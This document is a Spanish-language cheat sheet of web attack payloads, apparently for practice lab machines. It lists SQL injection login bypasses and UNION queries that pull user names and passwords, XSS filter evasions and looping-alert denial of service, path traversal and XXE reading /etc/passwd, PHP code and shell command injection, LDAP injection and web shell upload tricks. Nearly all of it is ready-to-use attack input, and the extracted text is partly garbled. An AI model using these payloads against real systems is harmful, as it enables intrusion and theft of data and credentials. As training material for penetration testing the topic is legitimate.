Anda di halaman 1dari 7

Vulnerabilidades

Sql Injection:
Probar en los formularios y navegadores
Referencia primera http://www.antrax-labs.org/2012/01/sql-injectiondesde-cero.html
Login:
User: admin-sigue, se corte

esto hace que despus de los guiones, la peticin que

Passwrod: la que quieras


User: or 1=1 -que conocer al usuario

la misma vuln que en el caso anterior, pero sin tener

Password: la que quieras


User: or 1=1 -que conocer al usuario

la misma vuln que en el caso anterior, pero sin tener

Password: nada
User: 0 or 1=1 -que conocer al usuario

la misma vuln que en el caso anterior, pero sin tener

Password:nada
User: #01/01/01 or 1=1 -pero sin tener que conocer al usuario

la misma vuln que en el caso anterior,

Password:nada
User: paco
Password: paco or 1=1 Hacemos que nuestra peticion del user paco
sea verdadera
User: or 1=1
Password:
User: 1 OR 1=1, OR 1=1#
Password:
User: ' or '1'='1' --
Password:
User: %' or '0'='0
Password:

User:
Password: ORDER BY 7; esto es para comprobar el numero de
columnassi nos da un error es que el numero de columnas es inforeior a 7.

Email: meloinvento or firstname = ; esto se usa para intentar


averiguar el nombre de una columna. Podemos usar sobre todo user, password etc.
En vez de meloinvento
User:
Email: meloinvento or 1 = (select count(*) from Employees); esto es
para averigar el nombre de una tabla.
User:
Navegador: www.webvuln.a.php?id= or 1=1
Navegador: www.webvuln.a.php?id= 1 or 1=1
Navegador: www.webvuln.a.php?id= 2 or 1=1
Navegador: www.webvuln.a.php?id= 1 and 1=1
Navegador: www.webvuln.a.php?id= 1 and 1=2 (si no da error no es vuln)
Navegador: www.webvuln.a.php?id= 1 order by 1 aqui subiremos el ultimo
numero para saber la cantidad de columnas que tiene. Cuando nos de un error, es
qu esa columna ya no existe.
Navegador: www.webvuln.a.php?id= 1 having 1=1
Navegador: www.webvuln.a.php?id= 1 having 1=2
Navegador: www.webvuln.a.php?id= 2%0A or 1=1 aqu nos saltamos un
filtro con salto de lnea. El error que nos arrojaba con una expresin sencilla era
ERROR INTEGER REQUIRED. Con lo que nos indica que solo valores numricos.
Navegador: www.webvuln.a.php?id= ' and 1=0 union select
id,name,passwd,4,5 from users where '1'='1
Otras opciones seran:
%' or 0=0 union select null, version() #,
%' or 0=0 union select null, user() #,
%' or 0=0

union select null,@@datadir #

Navegador: www.webvuln.a.php?id= '/**/or/**/'1'='1 hacemos esto, si al


intentar algn payload (or 1=1, por ejemplo) nos da un error (error no space, por
ejemplo). Eso es que hay un filtro y esta es una forma de saltarlo.
Navegador: www.webvuln.a.php?id=
/**/and/**/1=0/**/union/**/select/**/id,name,

passwd,4,5/**/from/**/users/**/where/**/'1'='1 es otro mtodo para saltar


filtros.
Navegador: www.webvuln.a.php?id= 2 and 1=0 union select
id,name,passwd,4,5 from users aqu debemos jugar con las columnasaqui
seleccionamos id,name y passwd, pero pueden ser otras.
Navegador: www.webvuln.a.php?id=-1 UNION SELECT "/etc/passwd" para
acceder directamente al directorio de password de mysql
Navegador: www.webvuln.a.php?id=-1 UNION SELECT "/etc/passwd"
from dual lo mismo pero para bases de datos Oracle
Navegador: www.webvuln.a.php?id=-1 UNION SELECT "/etc/passwd"
from sysobjects para sqlserver

Navegador: www.webvuln.a.php?id=2 and 1=0 union select


id,name,passwd,4,5 from users where 1=1
Navegador: www.webvuln.a.php?id=cast(version() as int) nos dar la
versin en un sistema vulnerable
Navegador: www.webvuln.a.php?id=cast(current_database()|| ||user
as int)
nos da la base de datos y usuario
Navegador: http://ruta_a_tu_vm/sqli/example8.php?order=name` DESC
limit 1 %23 cuando la pagina nos muestra una tabla completa, podemos
descender el numero de miembros, para ver si es vulnerable. Siempre que este el
parmetro order en la url, podemos usar descend.
Navegador: http://ruta_a_tu_vm/sqli/example9.php?order=name DESC limit
1 %23 lo mismo que el anterior pero sin la tilde. Es una forma de saltar un filtro.

XSS:
Navegador: www.webvuln.a.php?name=<script>alert(1234)</script> en
la pantalla aparece un cuadro con 1234. Es vulnerable a XSS.
Navegador: www.webvuln.a.php?name=<sCript>alert(1234)</sCRIpt> es
una evasin por si tiene filtros la web. Si aparece 1234 en la pantalla, es vulnerable.
Hay que probar con maysculas y minsculas en las palabras script.
Navegador: www.webvuln.a.php?name=
<sc<script>ript>alert(1)</script</script>> se usa la division de la palabra
sript, dentro de otro script, por si los filtros son aun ms complejos. Otra opcin es
<iframe src="javascript:alert(123)"></iframe>

Navegador: www.webvuln.a.php?name= <img src="too.jpg"


onerror="alert(1)" /> si al introducir cualquier intento nos arroja un error en la
pgina, podemos intentar este mtodo, donde finjimos meter una imagen y le
decimos que si es error, nos salga el alert.
Otra opcin es <iframe src=javascript:alert(123)></iframe>
Navegador: : www.webvuln.a.php?name= <a
onmouseover="alert(123)"> XSS</a> donde se le dice que XSS ser el user
que aparezca y al pasar el raton sobre el, salga nuestra alerta.
Navegador: www.webvuln.a.php?name= <script>prompt(1)</script>
usamos esto si la cadena alert est filtrada. Tambin pudiramos usar confirm en
vez de prompt
Otra opcin es <a onmouseover=" prompt(123)"> XSS</a>. igual que la
anterior pero con prompt
Navegador: www.webvuln.a.php?iname=
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49,
41))</script>
otro mtodo si la cadena alert est filtrada. Ms complejo, pero
til.
Navegador: www.webvuln.a.php?name= ";alert(8);//
introducmos esto al
darnos una respuesta ; cuando intentamos otra opcin. Introducimos pues cdigo
javascript pues lo aceptar. Si nos diese un resultado como . Cuando intentamos
un script normal, cambiamos ; por . No est probado, pero hay que hacerlo.
Navegador: www.webvuln.a.php?name= ;alert(8);// una variante de la
anterior.
Otra opcin es </script><script>alert(123)</script>
Navegador: www.webvuln.a.php/"><script>alert(8)</script> este mtodo
se realiza cuando hay un formulario y usamos el mtodo post. No ponemos nada en
el formulario, sino en el navegador.
Navegador: www.webvuln.a.php#<script>alert(8)</script> mirando el
cdigo fuente de la pagina, vemos que trabaja con documento tipo DOM. Bien,
simplemente despus de la # lanzamos nuestro script.
%3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 da
igual donde lo pongasen el navegador o en un formulario, igual que todo lo visto
en xss y sql.
%3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E
%3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E
%26param%3Dvalue
<script>for(;;) alert(bucle);</script> esto es una denegacion de
servicio
<meta%20http-equiv=refresh%20content=0;> otra denegacin
de servicio, donde las victimas son obligadas a conectarse repetidamente

Directory Tranversal:
-

http://ruta_a_tu_vm/dirtrav/example1.php?file=../../../etc/passwd nos
mostrar el fichero, siempre que la cadena de ../ sea correcta en el
numero de veces y la web sea vulnerable.
http://ruta_a_tu_vm/dirtrav/example2.php?
file=/var/www/files/../../../etc/passwd lo mismo
http://192.168.43.159/dirtrav/example3.php?file=../../../etc/passwd%00
en este caso, usamos filtro %00

File Include:
-

/fileincl/example1.php?page=/etc/passwd
http://192.168.43.159/fileincl/example2.php?page=../upload/example1
example1 es un programa de upload.
/fileincl/example1.php?page=/etc/passwd%00

Code Injection:
-

http://192.168.43.159/codeexec/example1.php?
name=hacker".system('ls')." Lo que inyectamos es cdigo para que
nos de un listado del directorio donde estamos. Si cambiamos ls,
por cualquier opcin, podramos sacar mucha info.
http://192.168.43.159/codeexec/example2.php?order=id);}system(ls
l);//
http://192.168.43.159/codeexec/example3.php?
new=hacker&pattern=/lamer/&base=Hello lamer en esta url, insertamos la
inyeccin de cdigo en la variable de bsqueda new quedando as
http://192.168.43.159/codeexec/example3.php?new=system(ls l)
&pattern=/lamer/e&base=Hello lamer
http://192.168.43.159/codeexec/example4.php?
name=hacker.system(ls).

Command Injection:
-

http://ruta_a_tu_mv/commandexec/example1.php?ip=127.0.0.1|ps aux para


la inyeccin de comando, se usa la tubera | . y podemos usar ; para hacer
ms peticiones. Por ejemplo |ps aux;pwd;ls
Otra opcin es 127.0.0.1;echo+"\n\nUname:";uname+-a

http://192.168.43.159/commandexec/example2.php?ip=127.0.0.1%0Als es
una manera de saltar los filtros.
Otra opcin como antes es %0Aecho+"\n\nUname:";uname+-a

http://192.168.43.159/commandexec/example3.php?ip=127.0.0.1 haciendo
ejemplos anteriores, la web se redirige a esta primera. Es decir, su seguridad
esta basada en la redireccin a la pagina indicada. Lo que hacemos es abrir
netcat y dirigirlo a la ip victima desde nuestra maquina en el puerto 80 y lo
que hacemos es aadir GET y lo que queremos enviar. Esto lo podemos
sacar de http headers o simplemente mirar en la direccin origen.
nc IP _victima 80

GET /commandexec/example3.php?ip=127.0.0.1|name+-a HTTP/1.0


con esto nos sale en nuestro equipo la informacin a travs de la peticin a
Netcat.
LDAP attacks:
-

http://192.168.43.159/ldap/example1.php?
username=hacker&password=hacker tenemos dos parmetros de acceso
que son username y password. Sabemos que no usando parmetros, una
aplicacin vulnerable, puede entrar directamente. El resultado de la consulta
sera:
o http://192.168.43.159/ldap/example1.php? Y entraramos
autenticados.
http://192.168.43.159/ldap/example2.php?name=hacker&password=hacker
aqu estamos autenticados como hacker. Ahora podemos ver si es vulnerable
usando la siguiente consulta:
o http://ruta_a_tu_mv/ldap/example2.php?
name=a*))&password=cualquierCosa lo que hacemos es usar * como
comodin y al poner a* estamos intentando entrar con el usuario
admin.

File upload:
-

La primera opcin es intentar subir una Shell en el lenguaje que est la


pgina. Es posible que no haya filtros y la deje pasar.raro, pero pasa.
En la segunda opcin no permite archivos.php, por ejemplo. Tenemos que
cambiar la cabeceras o bien enviar el archivo con extensin txt o jpg,
despus del .php; es decir, Shell.php.jpg. lo subimos y despus o
cambiamos las cabeceras en http live headers o bien vas a donde est ese
archivo por el navegador y le borras la extensin jpg, y te dar la Shell.

XML atttack:
-

http://ruta_a_tu_mv/xml/example1.php?xml=<test>hacker</test> teniendo
esta web, si cambiamos el valos de xml por cualquier otro , nos dara un
error. Ese error nos da simplexml_load_string que lo que hace es
interpretar un xml pasado en un string, con lo que podemos crear el xml que
queramos y pasrselo al parmetro xml.
Por ejemplo podemos intentar mostrar un alert de javascript mediante el
siguiente payload:
http://ruta_a_tu_mv/xml/example1.php?xml=<e1><![CDATA[<img
SRC=http://4.bp.blogspot.com/BqslGY8Uqw0/UiR5oYoMaoI/AAAAAAAAAOY/wruVYb8uVi0/s1600/win
ky.gif onmouseover=javascript:alert('Attack');>]]></e1>
o tambin este otro:
http://ruta_a_tu_mv/xml/example1.php?xml=<!DOCTYPE e1 [<!
ENTITY attack SYSTEM "file:///etc/passwd" >]><e1>
%26attack;</e1>

Anda mungkin juga menyukai